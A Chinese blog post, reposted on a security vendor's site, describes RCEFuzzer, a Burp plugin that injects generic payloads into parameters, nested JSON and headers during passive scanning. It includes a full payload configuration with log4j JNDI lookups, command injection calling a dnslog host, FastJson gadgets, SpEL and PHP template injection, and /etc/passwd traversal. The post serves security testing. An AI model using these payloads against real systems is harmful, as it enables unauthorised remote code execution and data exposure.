长亭百川云 - 文章详情

RCEFuzzer - 被动扫描与fuzz上一些思路的实现

Medi0cr1ty

44

2024-07-13

写在前面

1. 这是大概三年前的版本,基本已经停止维护,除非严重 Bug 外不考虑更新。

2. 这个版本是以 Burp 插件的形式存在,新版本是独立的系统,仅在 JJ Team 开放使用。

3. 仅开放 Release 版本作为交流学习使用, jar 没做混淆,实际上和放代码差别不大,作为交流学习使用我认为足够了,拿着源代码做细微调整意义不大,研究学习建议重构。 

4. 欢迎交流学习~

01

工具地址

https://github.com/TheKingOfDuck/RCEFuzzer

02

基础介绍

这是一个以 fuzz 为中心思想的被动扫描工具,多数扫描器的工作逻辑是以已知漏洞去冲目标,然后根据条件判断是否存在这个已知的漏洞;RCEFuzzer 的工作逻辑是以通用 payload 去污染目标的参数,然后根据条件判断是否存在未知漏洞。

举个例子,假设被动收集到的流量是:

`POST /sys/customer/list HTTP/1.1``Host: www.baidu.com``Content-Length: 23``Content-Type: application/json;charset=UTF-8``   ``{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}`

如果配置了三条通用的 payload :

`${jndi:ldap://dnslog/log4j}``` `whoami`.dnslog ```{"@type":"java.net.Inet4Address","val":"dnslog"}`

那么 RCEFuzzer 的参数污染模块将对目标发起以下请求:

  • 污染 key1 的值然后分别发包

  • 污染 key2 的值然后分别发包

  • 尝试自动解码 key2 ,并污染子 JSON 的 innerkey1 的值然后分别发包

  • 污染 key3 的值然后分别发包。

  • 污染 key3 的子 JSON 的 innerkey2 的值,然后分别发包。

  • 尝试解析 innerkey2 ,并污染子JSON的 k3 的值然后分别发包

理论上总的请求量是 3*6=18 次。这仅是参数污染模块,如果带上其他模块,那请求量可能是 50 。如果 payload 写得多点,原流量大一点,那么可能是 5000 次。

流量过大注定他没法在常规日站的场景使用,给目标写入一堆脏数据,那就得不偿失了。

对自己日常自己跑起来要挖洞的系统,测试类环境的系统就无所谓。

03

资产去重

上面提到流量会非常大,选出需要污染的流量就尤为重要,降低扫描基数,扫描流量也将大幅下降,那么在这个方向上我做了哪些尝试呢:重点参考

https://blog.thekingofduck.com/post/url-normalize-in-passive-scan/

除最基本的静态资源去重外,这里面还提到了关于 urlpath 、 query 等的处理的思路,但是不够完全,细心一点的会发现上文中提到的流量:

{"key1":"value1","key2":"eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9","id":1,"isLogin":false,"key3":{"innerkey2":"{\"k3\":\"v3\"}"}}

这里面的 id 和 isLogin 是没有污染的,因为大部分后端语言都会定义好参数类型,对于整数型、布尔型的参数没有太大污染的必要,徒增报错罢了,除此之外流量中常见 uuid 、hash 等常见格式的值也会跳过污染,进一步缩减流量。

这里需要单独再提一下,实践中有很多确认是重复的,比如:

`/order/S09834FVD``/order/S07C34FDCCVX`

显然两条流量对应了同一后端,是重复的,没必要都扫,但他没有像 uuid 或 md5 一样的固定特征,正则没法解决,看到一些同行的解决方案是上大模型去识别,颇有种工作饱和了没事干的感觉,本质上是区分文本是否为随机的,即将文本分为是否随机两种类型,业界有非常多成熟的文本分类模型训练教程,现成的模型,不用 GPU 就可以快速解决问题。

04

扫描模块

开放的版本中功能覆盖的有限,仅简单介绍一些思路。核心逻辑是递归追加/替换污染,对嵌套的 from-data 、json 、xml 、soap 等进行自动解码、污染、再编码。

JSON 污染

对 JSON 污染我个人理解分为以下两类:

  1. 键值污染:对于字符串类型的键值进行增加或替换的污染,除了污染成正常的资产 payload 之外,还可污染成 python 的结构体。

  2. 替换污染:对整个 JSON 进行替换,换成指定的 payload ,这里主要针对 FastJson 这样的漏洞。

具体一点的例子:

{"innerkey1":"innervalue1"}

可以污染成:

`{"innerkey1":__import__('socket').gethostbyaddr('dnslog')}` `{"innerkey1":"${jndi:ldap://dnslog/jsonkey}"}` `{"innerkey1":"innervalue1","@type":"java.net.Inet4Address","val":"dnslog"}` `{"innerkey1":{"@type":"java.net.Inet4Address","val":"dnslog"}}` `{"@type":"java.net.Inet4Address","val":"dnslog"}`

几种漏洞类型都挺常见的。

header 污染

和JSON污染一样:

  • 键值污染:对 header 键值进行增加或替换的污染。

  • 替换污染:对所有 header 的键值污染成指定 payload 。

举个例子:

`GET / HTTP/1.1``Host: www.baidu.com``Accept-Encoding: gzip, deflate``Accept: */*``Accept-Language: en-US;q=0.9,en;q=0.8``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36``Connection: close``Cache-Control: max-age=0``   ``   `

可以污染成

`GET / HTTP/1.1``Host: www.baidu.com``Accept-Encoding: gzip, deflate``Accept: */*``Accept-Language: en-US;q=0.9,en;q=0.8``User-Agent: ${jndi:ldap://dnslog/jsonkey}``Connection: close``Cache-Control: max-age=0```X-Forwarded-For: `whoami`.dnslog```X-Api-Version: ${jndi:dns://dnslog/456}``   ``   `

像 Host 、Connection 、Content-Type 这类 header 应该跳过污染,避免对请求本身造成影响,一次性替换全部 header 的键值这种纯粹是为了 log4j 这种 payload 打过去省事,暴力出奇迹。

参数污染

JSON 场景下一般就嵌套下转义后或编码后的 JSON ,但 form-data 表单中有非常多出现嵌套其他类型数据的情况,比如参数中嵌套 JSON ,嵌套 XML ,从某些 OA 中能够看出研发为了兼容做的不少 🐂 事。

同样分为两种模式:

  • 替换污染:常规的命令注入、SQL 注入等等

  • 追加污染:后端带判断类的,如校验传入值包含指定字符串时,追加模式将会非常管用。

还是举个例子:

https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9

可以污染成:

`https://www.baidu.com/admin/load?host=dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9``https://www.baidu.com/admin/load?host=127.0.0.1@dnslog&config=eyJpbm5lcmtleTEiOiJpbm5lcnZhbHVlMSJ9``https://www.baidu.com/admin/load?host=127.0.0.1&config=eyJpbm5lcmtleTEiOiJgd2hvYW1pYC5kbnNsb2cifQ==``...`

为什么要做追加模式在第二个 case 中就可以看出。

SSRF

代码抄自:

https://github.com/ethicalhackingplayground/ssrf-king

作者基本覆盖了常见代码产生的 SSRF 和配置错误导致的 SSRF ,非常受用。这里只是封装了嵌套解析,其他改动不大。

其他模块

还有很多了其他模块,如响应匹配、文件上传污染、SOAP 请求污染等,但并未在该版本中实现,不再一一介绍。

05

使用技巧

需要有配套的dnslog:

`https://admin.xxxx.com/logs?token=xxxxxx&type=dns&q=KEY``https://admin.xxxx.com/logs?token=xxxxxx&type=http&q=KEY`

KEY 是占位符,不能改动 其他无所谓。

配置文件如下:

`###``#``# 配置说明:``#    1.tweb的配置是必须要改的, 不改显示不了漏洞``#    2.白名单的优先级是高于黑名单的``#    3.所有配置都是可以动态改的, 不用重新加载插件``# 使用说明:``#    https://www.wolai.com/gS5UWgMmHG4ynJQgzL3AYk``###``config:`  `version: |  # 插件版本`    `0.5`  `twebdomain: | # tweb 子域名配置`    `xxx.xx.com`  `twebapi: |  # tweb api配置 其中KEY为展位符,在新旧版本的tweb均可在Profile页面找到`    `https://admin.xxxx.com/logs?token=xxxxxx&type=dns&q=KEY`  `timeout: |  # 扫描过程中的超时配置 非tweb请求超时设置 单位毫秒 60000为60秒`    `60000`  `hostBlacklistReg: |  # 禁止扫描的域名列表`    `(.+?)(gov\.cn|edu\.cn|tweb|google|gstatic)(.+?)`  `extBlacklist: |  # 禁止扫描的后缀列表,这不是正则,本来想从passive-scan-client中抄代码的,结果发现他有bug...`    `.js|.css|.jpeg|.gif|.jpg|.png|.pdf|.rar|.zip|.docx|.doc|.ico``   ``jsonPollution:`  `status:  #on为开启 off为关闭`    `on`  `allin: | #替换整个json数据包`    `{"@type":"java.net.Inet4Address","val":"dnslog"}`  `value: | #仅污染json的键值 为了python eval那种情况考虑 不加双引号包裹的话污染结果类似{"test":__import__('os')} {"test":"{\"dtaa\":__import__('os')}"}`    `"${jndi:ldap://dnslog/jsonkey}"`    `__import__('socket').gethostbyaddr('dnslog')``   ``paramPollution:`  `status: #on为开启 off为关闭`    `on`  `exprs: | #为了兼容有回显的表达式注入/代码执行漏洞`    `{{9527*2333}}|22226491`    `${T(java.lang.System).getenv()}|JAVA_HOME`    `${T+++++++(java.lang.System).getenv()}|JAVA_HOME`    `{php}var_dump(md5(9527));{/php}|52569c045dc348f12dfc4c85000ad832`    `{if+var_dump(md5(9527))}{/if}|52569c045dc348f12dfc4c85000ad832`    `../../../../../../../../../../../../../../../etc/passwd|root`  `value: |`    `dnslog`    `${jndi:ldap://paramPollution.dnslog/log4j}`    `` `whoami`.dnslog ``    `http://dnslog/`    `ping+-nc+1+dnslog``   ``headerPollution:`  `status: #on为开启 off为关闭`    `on`  `allin: | #一次性污染除了url和host外的所有请求头`    `${jndi:dns://dnslog/456}`    `${jndi:ldap://dnslog/789}`  `headers: | #添加的请求头如果原数据包有则追加原值污染 无则添加后再发包 竖线|为key和value的分隔符号。`    `X-Forwarded-For|${jndi:dns://dnslog/456}`    `X-Api-Version|${jndi:dns://dnslog/456}``   ``ssrfPollution:`  `status: #on为开启 off为关闭`    `on``   ``responseMatch:`  `status: #on为开启 off为关闭`    `off`  `expr: | #添加的请求头如果原数据包有则覆盖原值污染 无则添加后再发包`    `thinkphp:error`

参数污染中 exprs 部分的配置以 | 作为切割,区分请求和响应,用于回显漏洞的检测。tweb 处配置 dnslog 的子域名和 api 查询的 url 即可。

06

写在最后

RCEFuzzer 在实践中直接或间接的为我贡献了几十个的 RCE ,不少系统通过点点就可轻易收割漏洞点,进而撕开口子,拿到代码,进一步审计得到更有价值的洞,是生产漏洞的重要一环,也希望能为各位贡献新的RCE!

最后的最后,特别要提的是 RCEFuzzer 中不少思路都来源于 c26root (即大 6 老师)的指点,大 6 老师才是真正的神,大 6 老师🐮🍺!

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2